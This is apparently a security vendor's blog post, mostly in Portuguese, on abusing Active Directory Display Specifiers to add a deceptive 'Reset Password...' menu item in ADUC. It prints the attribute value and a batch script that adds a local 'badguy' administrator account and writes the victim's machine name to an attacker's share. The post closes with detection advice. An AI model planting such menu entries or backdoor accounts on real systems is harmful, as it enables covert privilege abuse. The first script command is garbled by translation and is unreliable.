Darren Mar-Elia | Estrategista Principal de Segurança

Recentemente, lembrei-me de uma funcionalidade do AD que não utilizo há quase 20 anos e que pode ser utilizada de forma abusiva pelos atacantes. Esta funcionalidade baseia-se numa área da partição de Configuração numa determinada floresta do Active Directory denominada Especificadores de visualização. Estou certo de que estes têm muitas funções no AD, mas a que me interessa é a sua capacidade de permitir adicionar extensões de menu de contexto personalizadas a ferramentas do AD baseadas em MMC. 

Quando utilizei esta capacidade pela primeira vez (mais uma vez, uma que já existe há um ano), tinha escrito um utilitário para permitir algumas tarefas de gestão de utilizadores para utilizadores do AD. Utilizei os Especificadores de Visualização para adicionar um novo item de menu ao snap-in MMC do AD Users and Computers (ADUC), para os nossos administradores de TI internos. Sempre que clicavam com o botão direito do rato num objecto de utilizador no ADUC, aparecia a minha opção de menu. Quando seleccionavam a opção, era executado um script em segundo plano para esse objecto de utilizador. Os Display Specifiers também têm a capacidade de adicionar folhas de propriedades à página Properties de uma determinada classe de objecto, desde que esteja disposto a escrever algum código COM :-).

Os especificadores de visualização têm o seguinte aspecto:

Exibir especificadores na partição de configuração

Exibir especificadores na partição de configuração

Reparou que os contentores à esquerda estão organizados por valores numéricos. Estes correspondem aos códigos de idioma hexadecimais para cada localidade. Eu destaquei409porque esse é o valor hexadecimal para EN-US ou English-US, que é a minha cultura predefinida. Pode ver uma lista completa destes códigosaqui.

Dentro de cada contentor de código de idioma, verá um conjunto de objectos da classe displaySpecifier, à direita. Cada um destes representa a classe de objecto para a qual pode modificar o comportamento do menu de contexto, entre outras coisas. Por exemplo, se pretendermos adicionar um menu de contexto a objectos de utilizador no ADUC, seleccionaremos o objecto CN=user-Display e modificaremos os atributos apropriados neste objecto.

Especificadores de ecrãs que se comportam mal

Há alguns aspetos a ter em conta sobre a forma como os atacantes podem abusar dos especificadores de exibição. Em primeiro lugar, para abusar dos especificadores de exibição, do ponto de vista da segurança, é necessário ser um utilizador com privilégios. Por predefinição (com ênfase em «por predefinição»), apenas os membros de Administradores de domínios e Administradores de empresas pode escrever nestes objetos. Assim, o abuso destes objetos pressupõe que já se tenha obtido o controlo do domínio, o que reduz significativamente o poder desta técnica. No entanto, este mecanismo oferece uma forma discreta de causar danos a um ambiente. Por exemplo, se um membro do grupo Domain Admin for comprometido, tudo o que ele ou ela fizer será muito visível para a monitorização padrão, mas se o atacante conseguir assumir o controlo de uma conta administrativa menos óbvia, poderá movimentar-se pelo ambiente de forma mais furtiva. É aqui que a utilização de Especificadores de Exibição pode revelar-se útil. No meu exemplo, o que estou a fazer é adicionar um novo menu de contexto aos objetos de utilizador. Estou a chamar ao meu item do menu de contexto «Redefinir Palavra-passe…», tal como a opção de menu existente com o mesmo nome, incorporada no ADUC para objetos de utilizador, conforme mostrado aqui: 

Adicionar um novo item de menu de contexto

As you can see from this screen shot, I now have two Reset Password options. Which one is right? The typical ADUC user is usually an administrator with some kind of privileged access to AD, and, probably unsuspecting when it comes to seeing an artifact like this. They might choose the right one (the top one) or the wrong one (the bottom one) depending upon what they see first. If they choose the second one, then my modified display specifier takes over. So let’s look at that. If you open ADSIEdit and connect to the Configuration Naming Context, you’ll see the screen above. Once I’ve selected the appropriate language-code folder (in my case CN=409 for EN-us) in the right-hand pane, I’m going to navigate to the CN=user-Display object and view it’s properties. From the Attribute Editor, find the adminContextMenu attribute. It’s a multi-valued attribute that likely already contains some entries in the form of <index>, <GUID of control or property sheet>. I’m going to add my custom “Reset Password” entry to this list in the form of: 

2,Reset Password...,\gpaapackagesresetpw.bat

Onde a primeira entrada é o índice em que quero que apareça, a segunda é o nome do item de menu e a terceira é o que quero executar quando o utilizador escolhe esse item de menu. Neste exemplo acima, estou a chamar um ficheiro batch a partir de uma partilha. Pode ver o aspecto deste atributo em directo aqui:

Visualizar um especificador de ecrã modificado

Refiro-me a uma partilha UNC porque este item de menu será chamado por qualquer utilizador do ADUC a partir de qualquer estação de trabalho, pelo que precisava que esse utilizador pudesse chamar o meu ficheiro batch a partir de qualquer lugar. Também é possível utilizar comandos incorporados para executar localmente, mas ainda não brinquei com a passagem de parâmetros para comandos nos Especificadores de visualização, pelo que não tenho a certeza de que funcione. Em todo o caso, o meu ficheiro batch é bastante simples. Estou a contar com o facto de que alguém que utilize o ADUC pode, de facto, ser um administrador na sua estação de trabalho e, por isso, pode fazer praticamente tudo quando executa o meu script. Portanto, o script "resetpw.bat" tem o seguinte aspecto:

net utilizador mau utilizador password /add
net localgroup administrators badguy /add
echo gotcha > \gpaapackages%computername%.txt

Basicamente, crio uma nova conta local na máquina com uma palavra-passe conhecida, adiciono essa conta ao grupo de administradores locais e, em seguida, crio um pequeno ficheiro na minha partilha que me diz qual o nome da máquina que acabou de executar o meu script. Voilà!

Defesa contra o abuso do especificador de exibição

Obviamente, nada disso funciona se o invasor não tiver permissões de gravação nos Especificadores de exibição. Portanto, a menos que já tenham comprometido o seu domínio ou que tenha modificado a delegação predefinida nesta parte do NC de Configuração, provavelmente não tem de se preocupar com isto. Mas, se tiver algum tipo de solução de auditoria do AD implementada, deve estar atento às alterações a estes objectos. Provavelmente, não há muitas razões legítimas para que eles sejam alterados normalmente. A boa notícia é que a Semperis acaba de criar um novo indicador para procurar alterações nesses objetos especificadores de exibição e, se você for um usuário do DSP Intelligencereceberá esse novo indicador automaticamente e começará a procurar esses tipos de abusos de especificadores de exibição imediatamente.